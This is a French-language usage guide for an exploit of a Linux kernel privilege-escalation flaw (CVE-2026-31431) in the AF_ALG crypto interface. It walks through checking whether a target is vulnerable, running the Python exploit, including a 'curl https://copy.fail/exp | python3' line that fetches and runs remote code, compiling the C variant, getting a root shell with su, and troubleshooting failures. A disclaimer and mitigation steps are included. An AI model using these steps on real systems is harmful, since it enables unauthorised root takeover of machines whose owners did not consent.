Copy Fail (CVE-2026-31431) – Guide d'utilisation de l'exploit

Readme original tiré de @painoob

Toutes les versions du noyau depuis 2017 / 2016 sont vulnérables ! Le noyau 7 est totalement immunisé, les autres (entre 5 et 7 peuvent encore être vulnérables)

⚠️ Avertissement

Ce contenu est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. Ne l'exécutez PAS sur des systèmes sans autorisation explicite.

📌 Aperçu

Copy Fail (CVE-2026-31431) est une vulnérabilité d'élévation de privilèges locale (LPE) sous Linux affectant l'API crypto du noyau via AF_ALG.

Elle permet à un utilisateur non privilégié d'écraser les données du cache de pages d'un binaire SUID (par exemple, /usr/bin/su) et d'obtenir un accès root.

🧠 Prérequis

Configuration système requise

• Noyau Linux (vulnérable – dépend de l'état du correctif)
• AF_ALG activé
• Module algif_aead chargé

Prérequis pour l'exploit Python

• Python 3.10+
• Prise en charge de :
  • os.splice
  • socket(AF_ALG)

🔍 Vérification de la vulnérabilité

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

Indicateurs attendus :

• authencesn(hmac(sha256),cbc(aes))
• algif_aead chargé

🐍 Exécution de l'exploit Python

1. Exécution directe

python3 copy_fail_exp.py

2. Ou via curl (si hébergé à distance)

curl https://copy.fail/exp | python3

3. Déclencher un shell root

su
id

Résultat attendu :

uid=0(root)

⚠️ Problèmes courants (Python)

❌ Erreur : os.splice not found

Cause :

• Version de Python < 3.10
• Build restreint

Solution :

• Utiliser un binaire Python plus récent
• Téléverser un interpréteur Python statique

⚙️ Compilation de la version C

1. Compiler

gcc copy_fail_exp.c -o copy_fail

2. Rendre exécutable

chmod +x copy_fail

3. Exécuter l'exploit

./copy_fail
su

⚠️ Problèmes courants (C)

❌ L'exploit s'exécute mais pas de root

Causes possibles :

• Noyau corrigé
• Décalages incorrects
• Environnement incompatible

❌ Erreurs de compilation

Installez les outils requis :

apt update && apt install build-essential

🧪 Dépannage

Vérifier si le système est corrigé

dmesg | grep -i alg

Vérifier le module

lsmod | grep algif_aead

🛡️ Atténuation

Désactiver le module vulnérable

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

Appliquer le correctif du noyau

Mettez à jour votre système :

apt update && apt upgrade

📌 Remarques

• L'exploit modifie uniquement le cache de pages (non persistant)
• Nécessite un accès local
• Non exploitable à distance par défaut

🧠 Conclusion

Si l'exploit échoue, envisagez :

• Noyau déjà corrigé
• Restrictions de l'environnement
• Autres vecteurs d'élévation de privilèges (SUID, capabilities, mauvaise configuration de sudo)

📚 Références

• https://copy.fail/
• CVE-2026-31431

👨‍💻 Notes de l'auteur

Utilisez cet exploit de manière responsable uniquement dans des laboratoires, des CTF et des pentests autorisés.